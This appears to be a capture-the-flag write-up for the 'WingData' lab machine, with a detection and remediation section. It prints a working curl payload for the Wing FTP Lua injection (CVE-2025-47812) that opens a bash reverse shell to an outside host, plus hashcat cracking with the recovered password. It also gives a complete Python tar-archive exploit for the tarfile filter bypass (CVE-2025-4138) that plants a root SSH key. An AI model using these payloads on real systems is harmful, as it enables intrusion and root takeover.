Overview
WingData is an Easy-rated Linux machine running Wing FTP Server v7.4.3 Free Edition behind Apache on Debian. Despite the “Easy” rating, the exploitation chain touches on two interesting vulnerability classes: a NULL byte injection that turns a Lua-based authentication handler into a code execution primitive, and a PATH_MAX overflow that bypasses Python 3.12’s tarfile data filter.
The attack begins with CVE-2025-47812: a NULL byte in the username field of
Wing FTP’s web login terminates the username lookup at the C layer, but the Lua
interpreter processes the remainder as executable code. Two HTTP requests yield
a reverse shell as wingftp (uid 1000). From there, the server’s
settings.xml reveals a static global password salt (WingFTP), and FTP user
configuration files contain SHA-256 hashes. The wacky user’s hash cracks in
under five seconds on a consumer GPU. The FTP password is reused for SSH.
Privilege escalation exploits CVE-2025-4138: a path traversal bypass in
Python’s tarfile data filter. The filter relies on os.path.realpath() for
symlink resolution, but realpath() silently stops resolving when the total
path exceeds PATH_MAX (4096 bytes). A crafted tar archive with 16 layers of
long-named directories and single-character symlinks pushes the resolved path
beyond this limit, allowing arbitrary file writes as root.
Reconnaissance
nmap -sV -sC -A -T4 -oA nmap_wingdata 10.129.15.14
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.2p1 Debian | Standard Debian 12 package |
| 80 | HTTP | Apache httpd 2.4.66 | Static marketing site “WingData Solutions” |
Two services. The main site has a “Client Portal” link pointing to
ftp.wingdata.htb. Adding both hostnames to /etc/hosts and visiting the
Client Portal reveals Wing FTP Server v7.4.3 Free Edition (version in footer).
Attack Surface Analysis
Wing FTP Server processes web client logins through a Lua-based authentication
handler. The handler does not sanitise NULL bytes. When %00 appears in the
username, C string functions terminate the username lookup at the NULL, but the
Lua interpreter continues processing the remainder as code. The os.execute()
function is available in the Lua environment, providing command execution.
The exploit requires exactly two HTTP requests: the first sends the payload and receives a session UID cookie; the second makes any authenticated request to trigger execution.
Vulnerability Analysis
CVE-2025-47812: Wing FTP Lua Injection
| Attribute | Value |
|---|---|
| CVE | CVE-2025-47812 |
| CVSS 3.1 | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-94 (Code Injection) |
| Affected | Wing FTP Server v7.4.3 |
| Prerequisite | Unauthenticated |
The payload structure: anonymous (valid username terminated by NULL),
%00]] (closes Lua string context), Lua code body (os.execute(...)),
trailing Lua comment (--) to consume residual syntax.
CVE-2025-4138: Python tarfile PATH_MAX Bypass
| Attribute | Value |
|---|---|
| CVE | CVE-2025-4138 |
| CVSS 3.1 | 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-22 (Path Traversal) |
| Affected | Python < 3.12.11, < 3.13.4 |
| Prerequisite | Local user with sudo access to a script using tarfile.extractall(filter="data") |
The data filter calls os.path.realpath() to resolve symlinks before checking
path boundaries. When the resolved path exceeds 4096 bytes, realpath() returns
a partially-resolved path. The filter approves extraction because the truncated
path appears to fall within the destination. The kernel’s actual file operations
still follow the real symlinks.
Exploitation
Initial access: Lua injection RCE
Start a listener, then send the two-request exploit:
# Request 1: Lua injection via login
curl -v -X POST 'http://ftp.wingdata.htb/loginok.html' \
-d 'username=anonymous%00]]%0dos.execute("bash+-c+'\''bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'\''")%0d--&password=' \
-c cookies.txt
# Request 2: Trigger execution
curl -X POST 'http://ftp.wingdata.htb/dir.html' \
-b cookies.txt -d 'path=/'
$ nc -lvnp 4444
Connection from 10.129.15.14:48372
wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)
Wing FTP creates a session file per exploit attempt. After roughly 10 to 15 rapid attempts, the server stops returning valid cookies. It recovers after about 5 minutes. Keep exploit attempts to a minimum.
Credential extraction and SSH
From the wingftp shell, I extract the password salt from settings.xml:
grep -E "Salt|PasswordHash" /opt/wftpserver/settings.xml
# <SaltingString>WingFTP</SaltingString>
# <PasswordHashType>SHA256</PasswordHashType>
FTP user configuration files under /opt/wftpserver/Data/1/users/ contain
SHA-256 hashes. All non-anonymous configs are world-writable (0666). The
wacky user’s hash cracks with hashcat mode 1410 (sha256($pass.$salt)):
echo "8d969eef...c6c92:WingFTP" > hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
# Cracked in 2 seconds: !#7Blushing^*Bride5
The FTP password is reused for SSH:
ssh [email protected]
# Password: !#7Blushing^*Bride5
User flag obtained.
Privilege escalation: tarfile data filter bypass
The user wacky has a passwordless sudo rule:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
The script extracts user-supplied tar archives with filter="data". Python
version is 3.12.3, within the affected range.
I build a malicious tar archive with a PATH_MAX bypass. The archive contains
four stages: 16 directory/symlink pairs that inflate the resolved path length
to ~3952 bytes; a pivot symlink with ../ traversal that pushes past 4096; an
escape symlink to /root/.ssh; and the authorized_keys payload.
#!/usr/bin/env python3
"""CVE-2025-4138 exploit: PATH_MAX bypass for tarfile data filter."""
import tarfile, io
TAR_OUTPUT = "exploit.tar"
NUM_LEVELS = 16
DIR_NAME_LEN = 247
SYMLINK_CHARS = "abcdefghijklmnop"
with open("wingdata_root.pub") as f:
pubkey = f.read().strip() + "\n"
tar = tarfile.open(TAR_OUTPUT, "w")
# Stage 1: Long dir + short symlink pairs
for i in range(NUM_LEVELS):
long_dir = "d" * DIR_NAME_LEN
prefix = "/".join(SYMLINK_CHARS[:i]) if i > 0 else ""
dir_path = (prefix + "/" + long_dir) if prefix else long_dir
link_path = (prefix + "/" + SYMLINK_CHARS[i]) if prefix else SYMLINK_CHARS[i]
d = tarfile.TarInfo(name=dir_path); d.type = tarfile.DIRTYPE; d.mode = 0o755
tar.addfile(d)
l = tarfile.TarInfo(name=link_path); l.type = tarfile.SYMTYPE; l.linkname = long_dir
tar.addfile(l)
# Stage 2: Pivot symlink
short_chain = "/".join(SYMLINK_CHARS[:NUM_LEVELS])
pivot = tarfile.TarInfo(name=short_chain + "/" + "l" * 254)
pivot.type = tarfile.SYMTYPE; pivot.linkname = "../" * NUM_LEVELS
tar.addfile(pivot)
# Stage 3: Escape symlink
escape = tarfile.TarInfo(name=short_chain + "/m")
escape.type = tarfile.SYMTYPE; escape.linkname = "l" * 254 + "/root/.ssh"
tar.addfile(escape)
# Stage 4: Payload
payload = pubkey.encode()
p = tarfile.TarInfo(name=short_chain + "/m/authorized_keys")
p.size = len(payload); p.mode = 0o600
tar.addfile(p, io.BytesIO(payload))
tar.close()
Transfer and execute:
scp exploit.tar [email protected]:/tmp/
ssh [email protected]
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py /tmp/exploit.tar
No error output. The data filter approved the extraction because realpath()
returned a truncated path. SSH as root:
ssh -i wingdata_root [email protected]
# uid=0(root) gid=0(root)
Root flag obtained.
Post-Exploitation
System enumeration confirmed Debian 12 (kernel 6.1.0-42-amd64), two local
users (wingftp uid 1000, wacky uid 1001), and standard SUID binaries with
no unusual capabilities or cron jobs. Wing FTP runs from /opt/wftpserver/ with
internal services on ports 5466 (SFTP, localhost only), 8080 (admin panel,
localhost only), and 42889.
Thirteen failed approaches were documented, including direct tar path traversal
(caught by the data filter), absolute symlinks (caught), PAX header overrides
(caught), and PYTHONPATH hijacking (blocked by env_reset in sudoers).
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 Exploit Public-Facing App | POST to /loginok.html with %00 in username |
| Execution | T1059.004 Unix Shell | Lua os.execute() spawns bash reverse shell |
| Execution | T1059.006 Python | sudo python3 tarfile extraction |
| Credential Access | T1552.001 Credentials in Files | Wing FTP user XML configs and settings.xml |
| Credential Access | T1110.002 Password Cracking | hashcat SHA-256 salted hash cracking |
| Lateral Movement | T1021.004 SSH | FTP password reused for SSH |
| Persistence | T1098.004 SSH Authorized Keys | Wrote attacker key to /root/.ssh/authorized_keys |
| Privilege Escalation | T1548.003 Sudo/Sudo Caching | NOPASSWD sudo rule for tar extraction script |
The primary detection opportunity is on the Wing FTP login. Any username
containing %00, os.execute, or io.popen is a definitive indicator of
Lua injection. A SIEM rule on the web access log for these patterns would
catch the attack at the initial access phase.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade Wing FTP Server to >= 7.4.4 (patches CVE-2025-47812) | Low | Critical |
| P0 | Upgrade Python to >= 3.12.11 or >= 3.13.4 (patches CVE-2025-4138) | Low | Critical |
| P0 | Remove NOPASSWD sudo rule for restore script | Low | Critical |
| P1 | Migrate password hashing to argon2id with per-user random salts | Medium | High |
| P1 | Fix FTP user config permissions from 0666 to 0640 (root:wingftp) | Low | Medium |
| P2 | Deploy SSH key-based auth; disable password auth for all accounts | Medium | Medium |
| P3 | Deploy auditd rules on Wing FTP user config directory | Low | Low |
The tarfile data filter bypass is particularly concerning because it affects a security mechanism that developers trust. The fix is straightforward (upgrade Python), but the deeper lesson is that user-controlled archives should never be extracted as root, regardless of what filtering is applied. The sudo rule should be removed entirely, and the restore operation should run as an unprivileged service account.
Key Takeaways
-
NULL byte injection still works in 2025. The boundary between C string handling and higher-level language interpreters remains a fertile source of bugs. Wing FTP’s Lua handler trusts C-terminated string length for username lookup while Lua processes the full buffer.
-
PATH_MAX is a security boundary that
realpath()does not enforce. When the resolved path exceeds 4096 bytes,realpath()returns a non-canonical result. Python’s tarfile data filter inherits this limitation. Any security check that depends onrealpath()for path canonicalisation is vulnerable to the same bypass. -
Static salts provide negligible protection. SHA-256 with a global salt (
WingFTP) means the entire rockyou wordlist is tested in under 5 seconds on consumer hardware. Per-user random salts combined with a proper KDF (argon2id, bcrypt) would increase the cost by orders of magnitude per account.